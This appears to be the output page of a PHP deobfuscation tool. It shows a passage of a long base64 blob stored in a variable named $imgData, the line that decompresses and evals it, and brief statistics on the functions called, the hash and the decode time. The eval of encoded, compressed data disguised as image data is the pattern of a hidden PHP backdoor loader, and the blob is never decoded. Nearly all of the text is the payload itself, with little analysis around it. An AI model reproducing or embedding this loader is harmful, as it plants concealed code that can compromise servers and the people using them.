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';
eval(gzuncompress(base64_decode($imgData)));

Function Calls

gzuncompress 1
base64_decode 1

Variables

$imgData eJzlff1b27iy8M/0rxDebO2UEJJAu2xCAl1Kt73br1PoOWcvcPIYxyEuie21..

Stats

MD5 bf38b746c08845e960df70f87e8897cd
Eval Count 1
Decode Time 122 ms